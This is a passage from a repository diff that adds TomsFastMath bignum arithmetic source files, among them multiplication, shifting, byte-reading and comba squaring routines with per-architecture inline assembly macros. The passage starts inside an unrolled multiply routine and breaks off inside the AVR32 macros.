MULADD(at[46], at[127]); MULADD(at[47], at[126]); MULADD(at[48], at[125]); MULADD(at[49], at[124]); MULADD(at[50], at[123]); MULADD(at[51], at[122]); MULADD(at[52], at[121]); MULADD(at[53], at[120]); MULADD(at[54], at[119]); MULADD(at[55], at[118]); MULADD(at[56], at[117]); MULADD(at[57], at[116]); MULADD(at[58], at[115]); MULADD(at[59], at[114]); MULADD(at[60], at[113]); MULADD(at[61], at[112]); MULADD(at[62], at[111]); MULADD(at[63], at[110]);
COMBA_STORE(C->dp[109]);
/* 110 */
COMBA_FORWARD;
MULADD(at[47], at[127]); MULADD(at[48], at[126]); MULADD(at[49], at[125]); MULADD(at[50], at[124]); MULADD(at[51], at[123]); MULADD(at[52], at[122]); MULADD(at[53], at[121]); MULADD(at[54], at[120]); MULADD(at[55], at[119]); MULADD(at[56], at[118]); MULADD(at[57], at[117]); MULADD(at[58], at[116]); MULADD(at[59], at[115]); MULADD(at[60], at[114]); MULADD(at[61], at[113]); MULADD(at[62], at[112]); MULADD(at[63], at[111]);
COMBA_STORE(C->dp[110]);
/* early out at 112 digits, 112*32==3584, or two 1792 bit operands */
if (out_size <= 112) { COMBA_STORE2(C->dp[111]); C->used = 112; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 111 */
COMBA_FORWARD;
MULADD(at[48], at[127]); MULADD(at[49], at[126]); MULADD(at[50], at[125]); MULADD(at[51], at[124]); MULADD(at[52], at[123]); MULADD(at[53], at[122]); MULADD(at[54], at[121]); MULADD(at[55], at[120]); MULADD(at[56], at[119]); MULADD(at[57], at[118]); MULADD(at[58], at[117]); MULADD(at[59], at[116]); MULADD(at[60], at[115]); MULADD(at[61], at[114]); MULADD(at[62], at[113]); MULADD(at[63], at[112]);
COMBA_STORE(C->dp[111]);
/* 112 */
COMBA_FORWARD;
MULADD(at[49], at[127]); MULADD(at[50], at[126]); MULADD(at[51], at[125]); MULADD(at[52], at[124]); MULADD(at[53], at[123]); MULADD(at[54], at[122]); MULADD(at[55], at[121]); MULADD(at[56], at[120]); MULADD(at[57], at[119]); MULADD(at[58], at[118]); MULADD(at[59], at[117]); MULADD(at[60], at[116]); MULADD(at[61], at[115]); MULADD(at[62], at[114]); MULADD(at[63], at[113]);
COMBA_STORE(C->dp[112]);
/* 113 */
COMBA_FORWARD;
MULADD(at[50], at[127]); MULADD(at[51], at[126]); MULADD(at[52], at[125]); MULADD(at[53], at[124]); MULADD(at[54], at[123]); MULADD(at[55], at[122]); MULADD(at[56], at[121]); MULADD(at[57], at[120]); MULADD(at[58], at[119]); MULADD(at[59], at[118]); MULADD(at[60], at[117]); MULADD(at[61], at[116]); MULADD(at[62], at[115]); MULADD(at[63], at[114]);
COMBA_STORE(C->dp[113]);
/* 114 */
COMBA_FORWARD;
MULADD(at[51], at[127]); MULADD(at[52], at[126]); MULADD(at[53], at[125]); MULADD(at[54], at[124]); MULADD(at[55], at[123]); MULADD(at[56], at[122]); MULADD(at[57], at[121]); MULADD(at[58], at[120]); MULADD(at[59], at[119]); MULADD(at[60], at[118]); MULADD(at[61], at[117]); MULADD(at[62], at[116]); MULADD(at[63], at[115]);
COMBA_STORE(C->dp[114]);
/* 115 */
COMBA_FORWARD;
MULADD(at[52], at[127]); MULADD(at[53], at[126]); MULADD(at[54], at[125]); MULADD(at[55], at[124]); MULADD(at[56], at[123]); MULADD(at[57], at[122]); MULADD(at[58], at[121]); MULADD(at[59], at[120]); MULADD(at[60], at[119]); MULADD(at[61], at[118]); MULADD(at[62], at[117]); MULADD(at[63], at[116]);
COMBA_STORE(C->dp[115]);
/* 116 */
COMBA_FORWARD;
MULADD(at[53], at[127]); MULADD(at[54], at[126]); MULADD(at[55], at[125]); MULADD(at[56], at[124]); MULADD(at[57], at[123]); MULADD(at[58], at[122]); MULADD(at[59], at[121]); MULADD(at[60], at[120]); MULADD(at[61], at[119]); MULADD(at[62], at[118]); MULADD(at[63], at[117]);
COMBA_STORE(C->dp[116]);
/* 117 */
COMBA_FORWARD;
MULADD(at[54], at[127]); MULADD(at[55], at[126]); MULADD(at[56], at[125]); MULADD(at[57], at[124]); MULADD(at[58], at[123]); MULADD(at[59], at[122]); MULADD(at[60], at[121]); MULADD(at[61], at[120]); MULADD(at[62], at[119]); MULADD(at[63], at[118]);
COMBA_STORE(C->dp[117]);
/* 118 */
COMBA_FORWARD;
MULADD(at[55], at[127]); MULADD(at[56], at[126]); MULADD(at[57], at[125]); MULADD(at[58], at[124]); MULADD(at[59], at[123]); MULADD(at[60], at[122]); MULADD(at[61], at[121]); MULADD(at[62], at[120]); MULADD(at[63], at[119]);
COMBA_STORE(C->dp[118]);
/* early out at 120 digits, 120*32==3840, or two 1920 bit operands */
if (out_size <= 120) { COMBA_STORE2(C->dp[119]); C->used = 120; C->sign = A->sign ^ B->sign; fp_clamp(C); COMBA_FINI; return; }
/* 119 */
COMBA_FORWARD;
MULADD(at[56], at[127]); MULADD(at[57], at[126]); MULADD(at[58], at[125]); MULADD(at[59], at[124]); MULADD(at[60], at[123]); MULADD(at[61], at[122]); MULADD(at[62], at[121]); MULADD(at[63], at[120]);
COMBA_STORE(C->dp[119]);
/* 120 */
COMBA_FORWARD;
MULADD(at[57], at[127]); MULADD(at[58], at[126]); MULADD(at[59], at[125]); MULADD(at[60], at[124]); MULADD(at[61], at[123]); MULADD(at[62], at[122]); MULADD(at[63], at[121]);
COMBA_STORE(C->dp[120]);
/* 121 */
COMBA_FORWARD;
MULADD(at[58], at[127]); MULADD(at[59], at[126]); MULADD(at[60], at[125]); MULADD(at[61], at[124]); MULADD(at[62], at[123]); MULADD(at[63], at[122]);
COMBA_STORE(C->dp[121]);
/* 122 */
COMBA_FORWARD;
MULADD(at[59], at[127]); MULADD(at[60], at[126]); MULADD(at[61], at[125]); MULADD(at[62], at[124]); MULADD(at[63], at[123]);
COMBA_STORE(C->dp[122]);
/* 123 */
COMBA_FORWARD;
MULADD(at[60], at[127]); MULADD(at[61], at[126]); MULADD(at[62], at[125]); MULADD(at[63], at[124]);
COMBA_STORE(C->dp[123]);
/* 124 */
COMBA_FORWARD;
MULADD(at[61], at[127]); MULADD(at[62], at[126]); MULADD(at[63], at[125]);
COMBA_STORE(C->dp[124]);
/* 125 */
COMBA_FORWARD;
MULADD(at[62], at[127]); MULADD(at[63], at[126]);
COMBA_STORE(C->dp[125]);
/* 126 */
COMBA_FORWARD;
MULADD(at[63], at[127]);
COMBA_STORE(C->dp[126]);
COMBA_STORE2(C->dp[127]);
C->used = 128;
C->sign = A->sign ^ B->sign;
fp_clamp(C);
COMBA_FINI;
}
#endif
/* $Source$ */
/* $Revision$ */
/* $Date$ */

File diff suppressed because it is too large Load Diff

40
src/crypto/tfm/fp_mul_d.c Normal file
View File

@ -0,0 +1,40 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* c = a * b */
void fp_mul_d(fp_int *a, fp_digit b, fp_int *c)
{
fp_word w;
int x, oldused;
oldused = c->used;
c->used = a->used;
c->sign = a->sign;
w = 0;
for (x = 0; x < a->used; x++) {
w = ((fp_word)a->dp[x]) * ((fp_word)b) + w;
c->dp[x] = (fp_digit)w;
w = w >> DIGIT_BIT;
}
if (w != 0 && (a->used != FP_SIZE)) {
c->dp[c->used++] = w;
++x;
}
for (; x < oldused; x++) {
c->dp[x] = 0;
}
fp_clamp(c);
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,22 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* d = a * b (mod c) */
int fp_mulmod(fp_int *a, fp_int *b, fp_int *c, fp_int *d)
{
fp_int tmp;
fp_zero(&tmp);
fp_mul(a, b, &tmp);
return fp_mod(&tmp, c, d);
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,70 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
void fp_read_unsigned_bin(fp_int *a, const unsigned char *b, int c)
{
/* zero the int */
fp_zero (a);
if ((unsigned)c > (FP_SIZE * sizeof(fp_digit))) {
int excess = c - (FP_SIZE * sizeof(fp_digit));
c -= excess;
b += excess;
}
/* If we know the endianness of this architecture, and we're using
32-bit fp_digits, we can optimize this */
#if (defined(ENDIAN_LITTLE) || defined(ENDIAN_BIG)) && !defined(FP_64BIT)
/* But not for both simultaneously */
#if defined(ENDIAN_LITTLE) && defined(ENDIAN_BIG)
#error Both ENDIAN_LITTLE and ENDIAN_BIG defined.
#endif
{
unsigned char *pd = (unsigned char *)a->dp;
a->used = (c + sizeof(fp_digit) - 1)/sizeof(fp_digit);
/* read the bytes in */
#ifdef ENDIAN_BIG
{
/* Use Duff's device to unroll the loop. */
int idx = (c - 1) & ~3;
switch (c % 4) {
case 0: do { pd[idx+0] = *b++;
case 3: pd[idx+1] = *b++;
case 2: pd[idx+2] = *b++;
case 1: pd[idx+3] = *b++;
idx -= 4;
} while ((c -= 4) > 0);
}
}
#else
for (c -= 1; c >= 0; c -= 1) {
pd[c] = *b++;
}
#endif
}
#else
/* read the bytes in */
for (; c > 0; c--) {
fp_mul_2d (a, 8, a);
a->dp[0] |= *b++;
if (a->used == 0) {
a->used = 1;
}
}
#endif
fp_clamp (a);
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

View File

@ -0,0 +1,31 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* reverse an array, used for radix code */
void fp_reverse (unsigned char *s, int len)
{
int ix, iy;
unsigned char t;
ix = 0;
iy = len - 1;
while (ix < iy) {
t = s[ix];
s[ix] = s[iy];
s[iy] = t;
++ix;
--iy;
}
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

40
src/crypto/tfm/fp_rshd.c Normal file
View File

@ -0,0 +1,40 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
void fp_rshd(fp_int *a, int x)
{
int y;
/* too many digits just zero and return */
if (x >= a->used) {
fp_zero(a);
return;
}
/* shift */
for (y = 0; y < a->used - x; y++) {
a->dp[y] = a->dp[y+x];
}
/* zero rest */
for (; y < a->used; y++) {
a->dp[y] = 0;
}
/* decrement count */
a->used -= x;
fp_clamp(a);
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

21
src/crypto/tfm/fp_set.c Normal file
View File

@ -0,0 +1,21 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
void fp_set(fp_int *a, fp_digit b)
{
fp_zero(a);
a->dp[0] = b;
a->used = a->dp[0] ? 1 : 0;
}
/* $Source$ */
/* $Revision$ */
/* $Date$ */

126
src/crypto/tfm/fp_sqr.c Normal file
View File

@ -0,0 +1,126 @@
/* TomsFastMath, a fast ISO C bignum library.
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
/* b = a*a */
void fp_sqr(fp_int *A, fp_int *B)
{
int y, old_used;
old_used = B->used;
/* call generic if we're out of range */
if (A->used + A->used > FP_SIZE) {
fp_sqr_comba(A, B);
goto clean;
}
y = A->used;
#if defined(TFM_SQR3) && FP_SIZE >= 6
if (y <= 3) {
fp_sqr_comba3(A,B);
goto clean;
}
#endif
#if defined(TFM_SQR4) && FP_SIZE >= 8
if (y == 4) {
fp_sqr_comba4(A,B);
goto clean;
}
#endif
#if defined(TFM_SQR6) && FP_SIZE >= 12
if (y <= 6) {
fp_sqr_comba6(A,B);
goto clean;
}
#endif
#if defined(TFM_SQR7) && FP_SIZE >= 14
if (y == 7) {
fp_sqr_comba7(A,B);
goto clean;
}
#endif
#if defined(TFM_SQR8) && FP_SIZE >= 16
if (y == 8) {
fp_sqr_comba8(A,B);
goto clean;
}
#endif
#if defined(TFM_SQR9) && FP_SIZE >= 18
if (y == 9) {
fp_sqr_comba9(A,B);
goto clean;
}
#endif
#if defined(TFM_SQR12) && FP_SIZE >= 24
if (y <= 12) {
fp_sqr_comba12(A,B);
goto clean;
}
#endif
#if defined(TFM_SQR17) && FP_SIZE >= 34
if (y <= 17) {
fp_sqr_comba17(A,B);
goto clean;
}
#endif
#if defined(TFM_SMALL_SET)
if (y <= 16) {
fp_sqr_comba_small(A,B);
goto clean;
}
#endif
#if defined(TFM_SQR20) && FP_SIZE >= 40
if (y <= 20) {
fp_sqr_comba20(A,B);
goto clean;
}
#endif
#if defined(TFM_SQR24) && FP_SIZE >= 48
if (y <= 24) {
fp_sqr_comba24(A,B);
goto clean;
}
#endif
#if defined(TFM_SQR28) && FP_SIZE >= 56
if (y <= 28) {
fp_sqr_comba28(A,B);
goto clean;
}
#endif
#if defined(TFM_SQR32) && FP_SIZE >= 64
if (y <= 32) {
fp_sqr_comba32(A,B);
goto clean;
}
#endif
#if defined(TFM_SQR48) && FP_SIZE >= 96
if (y <= 48) {
fp_sqr_comba48(A,B);
goto clean;
}
#endif
#if defined(TFM_SQR64) && FP_SIZE >= 128
if (y <= 64) {
fp_sqr_comba64(A,B);
goto clean;
}
#endif
fp_sqr_comba(A, B);
clean:
for (y = B->used; y < old_used; y++) {
B->dp[y] = 0;
}
}
/* $Source: /cvs/libtom/tomsfastmath/src/sqr/fp_sqr.c,v $ */
/* $Revision: 1.1 $ */
/* $Date: 2006/12/31 21:25:53 $ */

View File

@ -0,0 +1,677 @@
/*
*
* This project is meant to fill in where LibTomMath
* falls short. That is speed ;-)
*
* This project is public domain and free for all purposes.
*
* Tom St Denis, tomstdenis@gmail.com
*/
#include <tfm_private.h>
#if defined(TFM_PRESCOTT) && defined(TFM_SSE2)
#undef TFM_SSE2
#define TFM_X86
#endif
#if defined(TFM_X86)
/* x86-32 optimized */
#define COMBA_START
#define CLEAR_CARRY \
c0 = c1 = c2 = 0;
#define COMBA_STORE(x) \
x = c0;
#define COMBA_STORE2(x) \
x = c1;
#define CARRY_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
#define COMBA_FINI
#define SQRADD(i, j) \
asm( \
"movl %6,%%eax \n\t" \
"mull %%eax \n\t" \
"addl %%eax,%0 \n\t" \
"adcl %%edx,%1 \n\t" \
"adcl $0,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2): "0"(c0), "1"(c1), "2"(c2), "m"(i) :"%eax","%edx","cc");
#define SQRADD2(i, j) \
asm( \
"movl %6,%%eax \n\t" \
"mull %7 \n\t" \
"addl %%eax,%0 \n\t" \
"adcl %%edx,%1 \n\t" \
"adcl $0,%2 \n\t" \
"addl %%eax,%0 \n\t" \
"adcl %%edx,%1 \n\t" \
"adcl $0,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2): "0"(c0), "1"(c1), "2"(c2), "m"(i), "m"(j) :"%eax","%edx","cc");
#define SQRADDSC(i, j) \
asm( \
"movl %3,%%eax \n\t" \
"mull %4 \n\t" \
"movl %%eax,%0 \n\t" \
"movl %%edx,%1 \n\t" \
"xorl %2,%2 \n\t" \
:"=r"(sc0), "=r"(sc1), "=r"(sc2): "g"(i), "g"(j) :"%eax","%edx","cc");
#define SQRADDAC(i, j) \
asm( \
"movl %6,%%eax \n\t" \
"mull %7 \n\t" \
"addl %%eax,%0 \n\t" \
"adcl %%edx,%1 \n\t" \
"adcl $0,%2 \n\t" \
:"=r"(sc0), "=r"(sc1), "=r"(sc2): "0"(sc0), "1"(sc1), "2"(sc2), "g"(i), "g"(j) :"%eax","%edx","cc");
#define SQRADDDB \
asm( \
"addl %6,%0 \n\t" \
"adcl %7,%1 \n\t" \
"adcl %8,%2 \n\t" \
"addl %6,%0 \n\t" \
"adcl %7,%1 \n\t" \
"adcl %8,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2) : "0"(c0), "1"(c1), "2"(c2), "r"(sc0), "r"(sc1), "r"(sc2) : "cc");
#elif defined(TFM_X86_64)
/* x86-64 optimized */
#define COMBA_START
#define CLEAR_CARRY \
c0 = c1 = c2 = 0;
#define COMBA_STORE(x) \
x = c0;
#define COMBA_STORE2(x) \
x = c1;
#define CARRY_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
#define COMBA_FINI
#define SQRADD(i, j) \
asm( \
"movq %6,%%rax \n\t" \
"mulq %%rax \n\t" \
"addq %%rax,%0 \n\t" \
"adcq %%rdx,%1 \n\t" \
"adcq $0,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2): "0"(c0), "1"(c1), "2"(c2), "x"(i) :"%rax","%rdx","cc");
#define SQRADD2(i, j) \
asm( \
"movq %6,%%rax \n\t" \
"mulq %7 \n\t" \
"addq %%rax,%0 \n\t" \
"adcq %%rdx,%1 \n\t" \
"adcq $0,%2 \n\t" \
"addq %%rax,%0 \n\t" \
"adcq %%rdx,%1 \n\t" \
"adcq $0,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2): "0"(c0), "1"(c1), "2"(c2), "g"(i), "g"(j) :"%rax","%rdx","cc");
#define SQRADDSC(i, j) \
asm( \
"movq %3,%%rax \n\t" \
"mulq %4 \n\t" \
"movq %%rax,%0 \n\t" \
"movq %%rdx,%1 \n\t" \
"xorq %2,%2 \n\t" \
:"=r"(sc0), "=r"(sc1), "=r"(sc2): "g"(i), "g"(j) :"%rax","%rdx","cc");
#define SQRADDAC(i, j) \
asm( \
"movq %6,%%rax \n\t" \
"mulq %7 \n\t" \
"addq %%rax,%0 \n\t" \
"adcq %%rdx,%1 \n\t" \
"adcq $0,%2 \n\t" \
:"=r"(sc0), "=r"(sc1), "=r"(sc2): "0"(sc0), "1"(sc1), "2"(sc2), "g"(i), "g"(j) :"%rax","%rdx","cc");
#define SQRADDDB \
asm( \
"addq %6,%0 \n\t" \
"adcq %7,%1 \n\t" \
"adcq %8,%2 \n\t" \
"addq %6,%0 \n\t" \
"adcq %7,%1 \n\t" \
"adcq %8,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2) : "0"(c0), "1"(c1), "2"(c2), "r"(sc0), "r"(sc1), "r"(sc2) : "cc");
#elif defined(TFM_SSE2)
/* SSE2 Optimized */
#define COMBA_START
#define CLEAR_CARRY \
c0 = c1 = c2 = 0;
#define COMBA_STORE(x) \
x = c0;
#define COMBA_STORE2(x) \
x = c1;
#define CARRY_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
#define COMBA_FINI \
asm("emms");
#define SQRADD(i, j) \
asm( \
"movd %6,%%mm0 \n\t" \
"pmuludq %%mm0,%%mm0\n\t" \
"movd %%mm0,%%eax \n\t" \
"psrlq $32,%%mm0 \n\t" \
"addl %%eax,%0 \n\t" \
"movd %%mm0,%%eax \n\t" \
"adcl %%eax,%1 \n\t" \
"adcl $0,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2): "0"(c0), "1"(c1), "2"(c2), "m"(i) :"%eax","cc");
#define SQRADD2(i, j) \
asm( \
"movd %6,%%mm0 \n\t" \
"movd %7,%%mm1 \n\t" \
"pmuludq %%mm1,%%mm0\n\t" \
"movd %%mm0,%%eax \n\t" \
"psrlq $32,%%mm0 \n\t" \
"movd %%mm0,%%edx \n\t" \
"addl %%eax,%0 \n\t" \
"adcl %%edx,%1 \n\t" \
"adcl $0,%2 \n\t" \
"addl %%eax,%0 \n\t" \
"adcl %%edx,%1 \n\t" \
"adcl $0,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2): "0"(c0), "1"(c1), "2"(c2), "m"(i), "m"(j) :"%eax","%edx","cc");
#define SQRADDSC(i, j) \
asm( \
"movd %6,%%mm0 \n\t" \
"movd %7,%%mm1 \n\t" \
"pmuludq %%mm1,%%mm0\n\t" \
"movd %%mm0,%0 \n\t" \
"psrlq $32,%%mm0 \n\t" \
"movd %%mm0,%1 \n\t" \
"xorl %2,%2 \n\t" \
:"=r"(sc0), "=r"(sc1), "=r"(sc2): "0"(sc0), "1"(sc1), "2"(sc2), "m"(i), "m"(j));
#define SQRADDAC(i, j) \
asm( \
"movd %6,%%mm0 \n\t" \
"movd %7,%%mm1 \n\t" \
"pmuludq %%mm1,%%mm0\n\t" \
"movd %%mm0,%%eax \n\t" \
"psrlq $32,%%mm0 \n\t" \
"movd %%mm0,%%edx \n\t" \
"addl %%eax,%0 \n\t" \
"adcl %%edx,%1 \n\t" \
"adcl $0,%2 \n\t" \
:"=r"(sc0), "=r"(sc1), "=r"(sc2): "0"(sc0), "1"(sc1), "2"(sc2), "m"(i), "m"(j) :"%eax","%edx","cc");
#define SQRADDDB \
asm( \
"addl %6,%0 \n\t" \
"adcl %7,%1 \n\t" \
"adcl %8,%2 \n\t" \
"addl %6,%0 \n\t" \
"adcl %7,%1 \n\t" \
"adcl %8,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2) : "0"(c0), "1"(c1), "2"(c2), "r"(sc0), "r"(sc1), "r"(sc2) : "cc");
#elif defined(TFM_ARM)
/* ARM code */
#define COMBA_START
#define CLEAR_CARRY \
c0 = c1 = c2 = 0;
#define COMBA_STORE(x) \
x = c0;
#define COMBA_STORE2(x) \
x = c1;
#define CARRY_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
#define COMBA_FINI
/* multiplies point i and j, updates carry "c1" and digit c2 */
#define SQRADD(i, j) \
asm( \
" UMULL r0,r1,%6,%6 \n\t" \
" ADDS %0,%0,r0 \n\t" \
" ADCS %1,%1,r1 \n\t" \
" ADC %2,%2,#0 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2) : "0"(c0), "1"(c1), "2"(c2), "r"(i) : "r0", "r1", "cc");
/* for squaring some of the terms are doubled... */
#define SQRADD2(i, j) \
asm( \
" UMULL r0,r1,%6,%7 \n\t" \
" ADDS %0,%0,r0 \n\t" \
" ADCS %1,%1,r1 \n\t" \
" ADC %2,%2,#0 \n\t" \
" ADDS %0,%0,r0 \n\t" \
" ADCS %1,%1,r1 \n\t" \
" ADC %2,%2,#0 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2) : "0"(c0), "1"(c1), "2"(c2), "r"(i), "r"(j) : "r0", "r1", "cc");
#define SQRADDSC(i, j) \
asm( \
" UMULL %0,%1,%6,%7 \n\t" \
" SUB %2,%2,%2 \n\t" \
:"=r"(sc0), "=r"(sc1), "=r"(sc2) : "0"(sc0), "1"(sc1), "2"(sc2), "r"(i), "r"(j) : "cc");
#define SQRADDAC(i, j) \
asm( \
" UMULL r0,r1,%6,%7 \n\t" \
" ADDS %0,%0,r0 \n\t" \
" ADCS %1,%1,r1 \n\t" \
" ADC %2,%2,#0 \n\t" \
:"=r"(sc0), "=r"(sc1), "=r"(sc2) : "0"(sc0), "1"(sc1), "2"(sc2), "r"(i), "r"(j) : "r0", "r1", "cc");
#define SQRADDDB \
asm( \
" ADDS %0,%0,%3 \n\t" \
" ADCS %1,%1,%4 \n\t" \
" ADC %2,%2,%5 \n\t" \
" ADDS %0,%0,%3 \n\t" \
" ADCS %1,%1,%4 \n\t" \
" ADC %2,%2,%5 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2) : "r"(sc0), "r"(sc1), "r"(sc2), "0"(c0), "1"(c1), "2"(c2) : "cc");
#elif defined(TFM_PPC32)
/* PPC32 */
#define COMBA_START
#define CLEAR_CARRY \
c0 = c1 = c2 = 0;
#define COMBA_STORE(x) \
x = c0;
#define COMBA_STORE2(x) \
x = c1;
#define CARRY_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
#define COMBA_FINI
/* multiplies point i and j, updates carry "c1" and digit c2 */
#define SQRADD(i, j) \
asm( \
" mullw 16,%6,%6 \n\t" \
" addc %0,%0,16 \n\t" \
" mulhwu 16,%6,%6 \n\t" \
" adde %1,%1,16 \n\t" \
" addze %2,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2):"0"(c0), "1"(c1), "2"(c2), "r"(i):"16","cc");
/* for squaring some of the terms are doubled... */
#define SQRADD2(i, j) \
asm( \
" mullw 16,%6,%7 \n\t" \
" mulhwu 17,%6,%7 \n\t" \
" addc %0,%0,16 \n\t" \
" adde %1,%1,17 \n\t" \
" addze %2,%2 \n\t" \
" addc %0,%0,16 \n\t" \
" adde %1,%1,17 \n\t" \
" addze %2,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2):"0"(c0), "1"(c1), "2"(c2), "r"(i), "r"(j):"16", "17","cc");
#define SQRADDSC(i, j) \
asm( \
" mullw %0,%6,%7 \n\t" \
" mulhwu %1,%6,%7 \n\t" \
" xor %2,%2,%2 \n\t" \
:"=r"(sc0), "=r"(sc1), "=r"(sc2):"0"(sc0), "1"(sc1), "2"(sc2), "r"(i),"r"(j) : "cc");
#define SQRADDAC(i, j) \
asm( \
" mullw 16,%6,%7 \n\t" \
" addc %0,%0,16 \n\t" \
" mulhwu 16,%6,%7 \n\t" \
" adde %1,%1,16 \n\t" \
" addze %2,%2 \n\t" \
:"=r"(sc0), "=r"(sc1), "=r"(sc2):"0"(sc0), "1"(sc1), "2"(sc2), "r"(i), "r"(j):"16", "cc");
#define SQRADDDB \
asm( \
" addc %0,%0,%3 \n\t" \
" adde %1,%1,%4 \n\t" \
" adde %2,%2,%5 \n\t" \
" addc %0,%0,%3 \n\t" \
" adde %1,%1,%4 \n\t" \
" adde %2,%2,%5 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2) : "r"(sc0), "r"(sc1), "r"(sc2), "0"(c0), "1"(c1), "2"(c2) : "cc");
#elif defined(TFM_PPC64)
/* PPC64 */
#define COMBA_START
#define CLEAR_CARRY \
c0 = c1 = c2 = 0;
#define COMBA_STORE(x) \
x = c0;
#define COMBA_STORE2(x) \
x = c1;
#define CARRY_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
#define COMBA_FINI
/* multiplies point i and j, updates carry "c1" and digit c2 */
#define SQRADD(i, j) \
asm( \
" mulld r16,%6,%6 \n\t" \
" addc %0,%0,r16 \n\t" \
" mulhdu r16,%6,%6 \n\t" \
" adde %1,%1,r16 \n\t" \
" addze %2,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2):"0"(c0), "1"(c1), "2"(c2), "r"(i):"r16","cc");
/* for squaring some of the terms are doubled... */
#define SQRADD2(i, j) \
asm( \
" mulld r16,%6,%7 \n\t" \
" mulhdu r17,%6,%7 \n\t" \
" addc %0,%0,r16 \n\t" \
" adde %1,%1,r17 \n\t" \
" addze %2,%2 \n\t" \
" addc %0,%0,r16 \n\t" \
" adde %1,%1,r17 \n\t" \
" addze %2,%2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2):"0"(c0), "1"(c1), "2"(c2), "r"(i), "r"(j):"r16", "r17","cc");
#define SQRADDSC(i, j) \
asm( \
" mulld %0,%6,%7 \n\t" \
" mulhdu %1,%6,%7 \n\t" \
" xor %2,%2,%2 \n\t" \
:"=r"(sc0), "=r"(sc1), "=r"(sc2):"0"(sc0), "1"(sc1), "2"(sc2), "r"(i),"r"(j) : "cc");
#define SQRADDAC(i, j) \
asm( \
" mulld r16,%6,%7 \n\t" \
" addc %0,%0,r16 \n\t" \
" mulhdu r16,%6,%7 \n\t" \
" adde %1,%1,r16 \n\t" \
" addze %2,%2 \n\t" \
:"=r"(sc0), "=r"(sc1), "=r"(sc2):"0"(sc0), "1"(sc1), "2"(sc2), "r"(i), "r"(j):"r16", "cc");
#define SQRADDDB \
asm( \
" addc %0,%0,%3 \n\t" \
" adde %1,%1,%4 \n\t" \
" adde %2,%2,%5 \n\t" \
" addc %0,%0,%3 \n\t" \
" adde %1,%1,%4 \n\t" \
" adde %2,%2,%5 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2) : "r"(sc0), "r"(sc1), "r"(sc2), "0"(c0), "1"(c1), "2"(c2) : "cc");
#elif defined(TFM_AVR32)
/* AVR32 */
#define COMBA_START
#define CLEAR_CARRY \
c0 = c1 = c2 = 0;
#define COMBA_STORE(x) \
x = c0;
#define COMBA_STORE2(x) \
x = c1;
#define CARRY_FORWARD \
do { c0 = c1; c1 = c2; c2 = 0; } while (0);
#define COMBA_FINI
/* multiplies point i and j, updates carry "c1" and digit c2 */
#define SQRADD(i, j) \
asm( \
" mulu.d r2,%6,%6 \n\t" \
" add %0,%0,r2 \n\t" \
" adc %1,%1,r3 \n\t" \
" acr %2 \n\t" \
:"=r"(c0), "=r"(c1), "=r"(c2):"0"(c0), "1"(c1), "2"(c2), "r"(i):"r2","r3");
/* for squaring some of the terms are doubled... */
#define SQRADD2(i, j) \
asm( \
" mulu.d r2,%6,%7 \n\t" \
" add %0,%0,r2 \n\t" \
" adc %1,%1,r3 \n\t" \
" acr %2, \n\t" \
" add %0,%0,r2 \n\t" \
" adc %1,%1,r3 \n\t" \
" acr %2, \n\t" \
